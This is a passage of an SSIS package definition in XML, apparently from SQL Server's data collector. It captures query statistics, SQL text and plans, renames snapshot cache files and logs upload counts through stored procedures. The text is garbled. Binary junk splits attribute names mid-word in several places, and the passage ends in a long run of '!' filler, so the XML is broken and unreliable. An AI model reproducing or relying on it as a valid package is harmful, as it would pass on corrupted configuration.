warehouse.Outputs[OLE DB Command Error Output]" exclusionGroup="1" isErrorOut="true" name="OLE DB Command Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Outputs[OLE DB Command Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Outputs[OLE DB Command Error Output].Columns[ErrorCode]" name="ErrorCo	!!!!!!!!!!!!!!!!!!!!!!!!`K?&EHvde" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Outputs[OLE DB Command Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Outputs[OLE DB Command Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Identified query text count" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Identified query text count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::SqlTextUpdateRowCountOut</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Identified query text count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Identified query text count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Identified query text count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Unidentified query text count" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Unidentified query text count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::SqlTextUpdateRowCountError</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Unidentified query text count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Unidentified query text count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Unidentified query text count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Unknown query text count" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Unknown query text count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::SqlTextUpdateRowCountIn</property></properties><inputs><input refId="Package\SEQ - Capture and anal	!!!!!!!!!!!!!!!!!!!!!!!!`L?	THvyze query statistics and query plan and text\DFT - Find and save sql text\RC - Unknown query text count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Unknown query text count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Unknown query text count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component></components><paths><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text.Paths[Lookup Match Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Identified query text count.Inputs[Row Count Input 1]" name="Lookup Match Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text.Paths[Lookup No Match Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Unidentified query text count.Inputs[Row Count Input 1]" name="Lookup No Match Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup No Match Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text.Paths[OLE DB Source Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Unknown query text count.Inputs[Row Count Input 1]" name="OLE DB Source Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text.Paths[Row Count Output 11]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input]" name="Row Count Output 1" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Identified query text count.Outputs[Row Count Output 1]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text.Paths[Row Count Output 1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Inputs[Lookup Input]" name="Row Count Output 1" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\RC - Unknown query text count.Outputs[Row Count Output 1]"/></paths></pipeline></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text\FAT - Check Interesting Queries Last Snapshot exists" DTS:CreationName="DTS.FileAccessTask.2" DTS:Description="File Access Task" DTS:DTSID="{5697BEEE-7505-4E6D-B74B-5E6474C31775}" DTS:ExecutableType="DTS.FileAccessTask.2" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FAT - Check Interesting Queries Last Snapshot exists" DTS:TaskContact="File Access;Microsoft Corporation; Microsoft SQL Server codename Katmai; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1	!!!!!!!!!!!!!!!!!!!!!!!!`M?
 JHv"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:PropertyExpression DTS:Name="FilePath">@[User::InterestingQueriesLastSnapshotFileName]</DTS:PropertyExpression><DTS:ObjectData><FileAccessTask><Mode>0</Mode><FilePath>c:\perflogs\SETHS-SSISVSTA2_MSSQL.1_{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}_100_QueryActivity_QueryStats_LastSnapshot.cache</FilePath></FileAccessTask></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text\FST - Rename Current Snapshot File as Last Snapshot File" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="File System Task" DTS:DTSID="{718CDB90-C4F6-4B10-8621-CB6B5B712EF1}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FST - Rename Current Snapshot File as Last Snapshot File" DTS:TaskContact="File System Task;Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><FileSystemData TaskOperationType="RenameFile" TaskOverwriteDestFile="True" TaskSourcePath="User::InterestingQueriesLastSnapshotFileNameOutput" TaskIsSourceVariable="True" TaskDestinationPath="User::InterestingQueriesLastSnapshotFileName" TaskIsDestinationVariable="True"/></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text\SQL - Log stats for Interesting Queries" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{AAC361CD-FC09-4117-A76E-0692170B81D6}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log stats for Interesting Queries" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{F7E01FB6-8623-4709-92F3-6F3AA321E26E}" SQLTask:SqlStatementSource="{ call dbo.sp_syscollector_event_onstatsupdate (?, N'query_stats upload', ?, ?, NULL, 0) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::InterestingQueriesRowCountIn" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::InterestingQueriesRowCountOut" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text\SQL - Log stats for sql plan" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{844bc1e9-a504-49a3-a994-028d3a5a6436}" DTS:Executab	!!!!!!!!!!!!!!!!!!!!!!!!`N?ku'HvleType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log stats for sql plan" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{F7E01FB6-8623-4709-92F3-6F3AA321E26E}" SQLTask:SqlStatementSource="{ call dbo.sp_syscollector_event_onstatsupdate (?, N'sql plan upload', ?, ?, ?, 0) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::SqlPlanRowCountIn" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::SqlPlanRowCountOut" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::SqlPlanRowCountError" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text\SQL - Log stats for sql text" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{936a6657-376b-431e-9816-f2c077c05dda}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log stats for sql text" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{F7E01FB6-8623-4709-92F3-6F3AA321E26E}" SQLTask:SqlStatementSource="{ call dbo.sp_syscollector_event_onstatsupdate (?, N'sql text upload', ?, ?, ?, 0) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::SqlTextRowCountIn" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::SqlTextRowCountOut" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::SqlTextRowCountError" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{4652B58B-703A-4A8A-961A-2A31B8F6A305}" DTS:From="Package\SEQ - Capture and analyze query statistics and query plan and text\FST - Rename Current Snapshot File as Last Snapshot File" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\SEQ - Captur	!!!!!!!!!!!!!!!!!!!!!!!!`O?[Hve and analyze query statistics and query plan and text\DFT - Find and save sql text"/><DTS:PrecedenceConstraint DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text.PrecedenceConstraints[Constraint 1]" DTS:CreationName="" DTS:DTSID="{39822253-B0D1-4DEC-9524-A5AA5D30585C}" DTS:From="Package\SEQ - Capture and analyze query statistics and query plan and text\FAT - Check Interesting Queries Last Snapshot exists" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 1" DTS:To="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch"/><DTS:PrecedenceConstraint DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text.PrecedenceConstraints[Constraint 2]" DTS:CreationName="" DTS:DTSID="{A09F0730-D4CC-4403-B7B8-6454EF9FC0B7}" DTS:From="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 2" DTS:To="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text"/><DTS:PrecedenceConstraint DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text.PrecedenceConstraints[Constraint 3]" DTS:CreationName="" DTS:DTSID="{FA1B6CBE-7A5B-4831-B278-3FE40FC8232D}" DTS:EvalOp="3" DTS:Expression="@[User::LoggingLevel]&gt;=1" DTS:From="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text" DTS:ObjectName="Constraint 3" DTS:To="Package\SEQ - Capture and analyze query statistics and query plan and text\SQL - Log stats for Interesting Queries" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text.PrecedenceConstraints[Constraint 5]" DTS:CreationName="" DTS:DTSID="{1913B403-D48A-4B0D-822C-670B12C03949}" DTS:EvalOp="3" DTS:Expression="@[User::LoggingLevel]&gt;=1" DTS:From="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot" DTS:ObjectName="Constraint 5" DTS:To="Package\SEQ - Capture and analyze query statistics and query plan and text\SQL - Log stats for Interesting Queries" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text.PrecedenceConstraints[Constraint 6]" DTS:CreationName="" DTS:DTSID="{429E60DF-8CEF-4B6F-AFF0-81C2D60D4A7C}" DTS:From="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 6" DTS:To="Package\SEQ - Capture and analyze query statistics and query plan and text\FST - Rename Current Snapshot File as Last Snapshot File"/><DTS:PrecedenceConstraint DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text.PrecedenceConstraints[Constraint 7]" DTS:CreationName="" DTS:DTSID="{D1DB4BA0-FC27-40E3-AD49-7F8BE49D83AD}" DTS:From="Package\SEQ - Capture and analyze query statistics and query plan and text\SQL - Log stats for Interesting Queries" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 7" DTS:To="Package\SEQ - Capture and analyze query statistics and query plan and text\SQL - Log stats for sql plan" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text.PrecedenceConstraints[Constraint 8]" DTS:CreationName="" DTS:DTSID="{1377503B-2FD9-446B-8B67-23FCCFD4A285}" DTS:From="Package\SEQ - Capture and analyze query statistics and query plan and text\SQL - Log stats for sql plan" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 8" DTS:To="Package\SEQ - Capture and analyze query statistics and query plan and text\SQL - Log stats for sql text" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text.PrecedenceConstraints[Last Snapshot Missing]	!!!!!!!!!!!!!!!!!!!!!!!!`JlP?I%YcR;Q!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!